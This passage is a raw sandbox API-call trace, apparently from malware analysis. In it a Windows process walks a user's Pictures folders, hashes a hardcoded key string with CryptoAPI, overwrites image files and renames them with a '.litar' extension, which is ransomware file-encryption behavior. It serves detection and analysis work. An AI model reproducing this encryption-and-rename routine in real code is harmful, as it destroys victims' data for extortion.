[0126.911] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3592ca80, ftCreationTime.dwHighDateTime=0x1d4d3de, ftLastAccessTime.dwLowDateTime=0x55192870, ftLastAccessTime.dwHighDateTime=0x1d4d291, ftLastWriteTime.dwLowDateTime=0x55192870, ftLastWriteTime.dwHighDateTime=0x1d4d291, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZvT6vaWh-93ETSX", cAlternateFileName="ZVT6VA~1")) returned 0 [0126.911] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0126.911] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.911] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083f40 [0126.911] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.911] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084300 [0126.911] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084300 | out: hHeap=0x5c0000) returned 1 [0126.911] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084300 [0126.911] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.912] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.912] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084300 | out: hHeap=0x5c0000) returned 1 [0126.912] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084300 [0126.912] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\R5ZCMh\\") returned="R5ZCMh\\" [0126.912] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\") returned="nEqZA\\" [0126.912] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0126.912] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.912] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.912] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.912] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.912] PathFindFileNameW (pszPath="") returned="" [0126.912] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\R5ZCMh\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x406e470, ftCreationTime.dwHighDateTime=0x1d4d126, ftLastAccessTime.dwLowDateTime=0x6608c220, ftLastAccessTime.dwHighDateTime=0x1d4cb71, ftLastWriteTime.dwLowDateTime=0x6608c220, ftLastWriteTime.dwHighDateTime=0x1d4cb71, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.914] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084300 | out: hHeap=0x5c0000) returned 1 [0126.914] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x406e470, ftCreationTime.dwHighDateTime=0x1d4d126, ftLastAccessTime.dwLowDateTime=0x6608c220, ftLastAccessTime.dwHighDateTime=0x1d4cb71, ftLastWriteTime.dwLowDateTime=0x6608c220, ftLastWriteTime.dwHighDateTime=0x1d4cb71, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.914] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff8f8df0, ftCreationTime.dwHighDateTime=0x1d4cc13, ftLastAccessTime.dwLowDateTime=0xd8d2d0a0, ftLastAccessTime.dwHighDateTime=0x1d4d46f, ftLastWriteTime.dwLowDateTime=0xd8d2d0a0, ftLastWriteTime.dwHighDateTime=0x1d4d46f, nFileSizeHigh=0x0, nFileSizeLow=0xc610, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EfuTYTPiCx LOe.png", cAlternateFileName="EFUTYT~1.PNG")) returned 1 [0126.914] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\R5ZCMh\\EfuTYTPiCx LOe.png") returned=".png" [0126.914] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\R5ZCMh\\EfuTYTPiCx LOe.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\r5zcmh\\efutytpicx loe.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.915] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=50704) returned 1 [0126.915] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.917] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc5ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.917] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.918] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xc610, lpOverlapped=0x0) returned 1 [0126.919] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.919] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.919] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.919] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0126.920] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.920] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.920] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.920] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.920] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.920] GetLastError () returned 0x0 [0126.920] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.920] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0126.920] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.920] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc610) returned 0x30fa0b0 [0126.920] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.920] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.920] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xc60b, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xc60b, lpOverlapped=0x0) returned 1 [0126.920] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.920] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xc610, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.920] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.921] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.921] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.921] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.921] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.921] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.921] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.921] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.921] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.921] CloseHandle (hObject=0x624) returned 1 [0126.922] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074fd8 [0126.922] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.922] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074fd8 | out: hHeap=0x5c0000) returned 1 [0126.922] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\R5ZCMh\\EfuTYTPiCx LOe.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\r5zcmh\\efutytpicx loe.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\R5ZCMh\\EfuTYTPiCx LOe.png.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\r5zcmh\\efutytpicx loe.png.litar")) returned 1 [0126.922] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.922] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.923] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.923] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0f7dc80, ftCreationTime.dwHighDateTime=0x1d4d26d, ftLastAccessTime.dwLowDateTime=0x41959530, ftLastAccessTime.dwHighDateTime=0x1d4d0e4, ftLastWriteTime.dwLowDateTime=0x41959530, ftLastWriteTime.dwHighDateTime=0x1d4d0e4, nFileSizeHigh=0x0, nFileSizeLow=0x17610, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F1NPm.bmp", cAlternateFileName="")) returned 1 [0126.923] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084300 [0126.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084300 | out: hHeap=0x5c0000) returned 1 [0126.924] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\R5ZCMh\\F1NPm.bmp") returned=".bmp" [0126.924] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\R5ZCMh\\F1NPm.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\r5zcmh\\f1npm.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.924] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=95760) returned 1 [0126.924] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.926] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x175ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.926] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.927] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.927] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x17610, lpOverlapped=0x0) returned 1 [0126.928] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.928] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.928] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.928] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0126.929] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.929] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.929] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.929] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.929] GetLastError () returned 0x0 [0126.929] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.929] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0126.929] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.929] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x17610) returned 0x30fa0b0 [0126.930] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.930] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x1760b, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x1760b, lpOverlapped=0x0) returned 1 [0126.930] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.930] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x17610, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.930] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.931] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.931] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.931] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.931] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.931] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.931] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.931] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.931] CloseHandle (hObject=0x624) returned 1 [0126.932] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0126.932] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0126.932] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0126.932] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\R5ZCMh\\F1NPm.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\r5zcmh\\f1npm.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\R5ZCMh\\F1NPm.bmp.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\r5zcmh\\f1npm.bmp.litar")) returned 1 [0126.933] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.933] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.934] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.934] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x756d0fa0, ftCreationTime.dwHighDateTime=0x1d4c6bc, ftLastAccessTime.dwLowDateTime=0xf9062110, ftLastAccessTime.dwHighDateTime=0x1d4c795, ftLastWriteTime.dwLowDateTime=0xf9062110, ftLastWriteTime.dwHighDateTime=0x1d4c795, nFileSizeHigh=0x0, nFileSizeLow=0x37a7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LyCXLD1At.png", cAlternateFileName="LYCXLD~1.PNG")) returned 1 [0126.934] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084300 [0126.934] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.934] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084300 | out: hHeap=0x5c0000) returned 1 [0126.934] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\R5ZCMh\\LyCXLD1At.png") returned=".png" [0126.934] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\R5ZCMh\\LyCXLD1At.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\r5zcmh\\lycxld1at.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.935] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=14247) returned 1 [0126.935] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.937] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x3781, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.937] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.938] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.938] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.938] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.939] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x37a7, lpOverlapped=0x0) returned 1 [0126.939] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.939] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.939] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.939] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.939] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0126.940] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.940] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.940] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.940] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.940] GetLastError () returned 0x0 [0126.940] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.940] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0126.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.940] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x37b0) returned 0x30fa0b0 [0126.940] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.940] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.940] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x37a2, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x37a2, lpOverlapped=0x0) returned 1 [0126.941] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.941] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x37a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.941] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.941] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.941] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.941] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.941] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.941] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, 